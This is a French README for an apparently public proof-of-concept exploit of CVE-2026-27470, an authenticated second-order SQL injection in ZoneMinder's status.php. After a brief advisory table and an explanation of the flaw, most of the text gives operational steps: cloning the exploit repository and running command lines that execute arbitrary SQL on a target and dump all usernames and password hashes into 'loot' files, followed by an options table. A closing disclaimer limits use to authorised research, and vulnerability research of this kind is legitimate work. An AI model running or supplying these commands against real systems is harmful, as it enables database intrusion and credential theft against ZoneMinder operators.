
PoC Python pour CVE-2026-27470, injection SQL de second ordre authentifiée dans getNearEvents() (status.php) de ZoneMinder, CVSS 8.8
Auteur : d3vn0mi | CVSS 8.8 | Authentifié | Permission Événements requise
CVE-2026-27470 est une vulnérabilité d'injection SQL de second ordre dans web/ajax/status.php de ZoneMinder — plus précisément dans la fonction getNearEvents().
| Détail | Valeur |
|---|
| Version affectée | ZoneMinder <= 1.36.37 et 1.37.61 – 1.38.0 |
| Corrigé dans | 1.36.38 / 1.38.1 |
| Type | Injection SQL de second ordre |
| Authentification requise | Oui (tout utilisateur disposant de la permission Événements) |
| CVSS | 8.8 (Élevé) |
La vulnérabilité est une injection SQL en deux phases (de second ordre) :
Phase 1 — Stockage : L'attaquant renomme un événement (ou modifie son champ Cause) pour y inclure une charge utile SQL. ZoneMinder utilise une requête paramétrée pour cette écriture, donc la charge utile est stockée en toute sécurité dans la base de données — aucun WAF ni filtre ne la bloque.
Phase 2 — Déclenchement : L'attaquant demande l'entité nearevents via l'API de statut. La fonction getNearEvents() lit le nom/cause de l'événement stocké dans la base de données et le concatène directement dans une nouvelle requête SQL sans assainissement, ce qui entraîne une injection SQL.
Étant donné que le vecteur d'injection (données stockées) est distinct du déclencheur (une requête GET propre), cela contourne la plupart des protections au niveau des entrées.
git clone https://github.com/d3vn0mi/CVE-2026-27470-POC.git
cd CVE-2026-27470-POC
pip install -r requirements.txt
python3 poc.py -t http://10.10.10.10 -u admin -p password
python3 poc.py -t http://10.10.10.10 -u admin -p password --query "SELECT user()"
python3 poc.py -t http://10.10.10.10 -u admin -p password --dump-users
Les identifiants sont enregistrés dans dumped_creds.txt par défaut.
python3 poc.py -t http://10.10.10.10 -u admin -p password --dump-users -o loot.txt
python3 poc.py -t http://10.10.10.10 -u admin -p password --query "SELECT @@datadir" -o result.txt
python3 poc.py -t http://10.10.10.10 -u admin -p password --proxy http://127.0.0.1:8080
python3 poc.py -t http://10.10.10.10 -u admin -p password --field Cause --query "SELECT database()"
python3 poc.py -t http://10.10.10.10 -u admin -p password --event-id 42
python3 poc.py -t http://10.10.10.10 -u admin -p password -v
| Option | Description | Défaut |
|---|---|---|
-t, --target | URL cible | (requis) |
-u, --username | Nom d'utilisateur ZoneMinder | (requis) |
-p, --password | Mot de passe ZoneMinder | (requis) |
--query | Requête SQL à exécuter | SELECT VERSION() |
--dump-users | Extraire tous les noms d'utilisateur et hachages de mots de passe | |
-o, --output | Enregistrer les résultats dans un fichier | dumped_creds.txt |
--event-id | ID d'événement à utiliser comme vecteur d'injection | (détection automatique) |
--field | Champ d'injection : Name ou Cause | Name |
--no-restore | Ne pas restaurer le nom de l'événement après l'exploitation | |
--proxy | URL du proxy HTTP | |
--timeout | Délai d'expiration de la requête en secondes | 30 |
-v, --verbose | Activer la journalisation de débogage |
Cet outil est fourni uniquement à des fins éducatives et de recherche en sécurité autorisée. Ne l'utilisez pas contre des systèmes que vous ne possédez pas ou pour lesquels vous ne disposez pas d'une autorisation écrite explicite de test. Les auteurs ne sont pas responsables de toute utilisation abusive ou de tout dommage causé par cet outil.